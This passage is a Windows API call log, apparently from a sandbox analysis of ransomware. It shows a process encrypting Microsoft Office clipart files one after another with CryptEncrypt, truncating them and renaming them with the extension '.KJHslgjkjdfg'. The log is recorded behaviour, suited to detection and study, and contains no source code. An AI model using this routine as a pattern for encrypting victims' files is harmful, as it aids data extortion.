lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.764] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.765] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.765] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.765] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.765] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.765] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.765] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.765] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x127e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x127e, lpOverlapped=0x0) returned 1 [0153.766] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1280, dwBufLen=0x1280 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1280) returned 1 [0153.766] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.766] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1280, lpOverlapped=0x0) returned 1 [0153.766] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.766] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.766] SetEndOfFile (hFile=0x114) returned 1 [0153.769] GetProcessHeap () returned 0x2a0000 [0153.769] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.769] GetProcessHeap () returned 0x2a0000 [0153.769] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.769] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.kjhslgjkjdfg")) returned 1 [0153.770] CloseHandle (hObject=0x114) returned 1 [0153.770] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e812b00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e812b00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0153.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.771] GetProcessHeap () returned 0x2a0000 [0153.771] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.771] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.772] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.772] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0153.773] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.773] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.774] GetProcessHeap () returned 0x2a0000 [0153.774] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.774] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.774] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.774] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.774] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.774] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.774] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.774] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.774] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.774] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.774] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.774] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.774] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1634, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1634, lpOverlapped=0x0) returned 1 [0153.775] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1640, dwBufLen=0x1640 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1640) returned 1 [0153.775] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.775] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1640, lpOverlapped=0x0) returned 1 [0153.775] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.775] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.775] SetEndOfFile (hFile=0x114) returned 1 [0153.778] GetProcessHeap () returned 0x2a0000 [0153.778] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.778] GetProcessHeap () returned 0x2a0000 [0153.778] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.778] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.kjhslgjkjdfg")) returned 1 [0153.779] CloseHandle (hObject=0x114) returned 1 [0153.779] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9eb2200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9eb2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0153.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.779] GetProcessHeap () returned 0x2a0000 [0153.780] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.780] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.780] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.780] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0153.783] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.783] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.783] GetProcessHeap () returned 0x2a0000 [0153.783] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.783] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.783] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.783] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.783] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.783] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.783] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.783] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.783] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.783] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.783] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.783] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.783] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5062, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5062, lpOverlapped=0x0) returned 1 [0153.784] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5070, dwBufLen=0x5070 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5070) returned 1 [0153.785] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.785] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5070, lpOverlapped=0x0) returned 1 [0153.785] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.785] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.785] SetEndOfFile (hFile=0x114) returned 1 [0153.787] GetProcessHeap () returned 0x2a0000 [0153.787] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.787] GetProcessHeap () returned 0x2a0000 [0153.787] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.787] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.kjhslgjkjdfg")) returned 1 [0153.788] CloseHandle (hObject=0x114) returned 1 [0153.788] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efb2900, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2efb2900, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0153.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.790] GetProcessHeap () returned 0x2a0000 [0153.790] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.790] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.790] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.790] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.790] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.790] GetProcessHeap () returned 0x2a0000 [0153.790] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.790] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.790] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.790] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.792] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.792] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.792] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.792] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.792] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.792] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.792] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.793] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.793] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2a50, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2a50, lpOverlapped=0x0) returned 1 [0153.793] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a50, dwBufLen=0x2a50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a50) returned 1 [0153.794] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.794] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2a50, lpOverlapped=0x0) returned 1 [0153.794] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.794] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.794] SetEndOfFile (hFile=0x114) returned 1 [0153.796] GetProcessHeap () returned 0x2a0000 [0153.797] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.797] GetProcessHeap () returned 0x2a0000 [0153.797] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.kjhslgjkjdfg")) returned 1 [0153.798] CloseHandle (hObject=0x114) returned 1 [0153.798] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9f500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8b9f500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0153.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.798] GetProcessHeap () returned 0x2a0000 [0153.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.798] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.798] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.800] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.800] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.800] GetProcessHeap () returned 0x2a0000 [0153.800] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.801] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.801] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.801] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.801] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.801] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.801] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.801] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.801] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.801] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.801] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x385c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x385c, lpOverlapped=0x0) returned 1 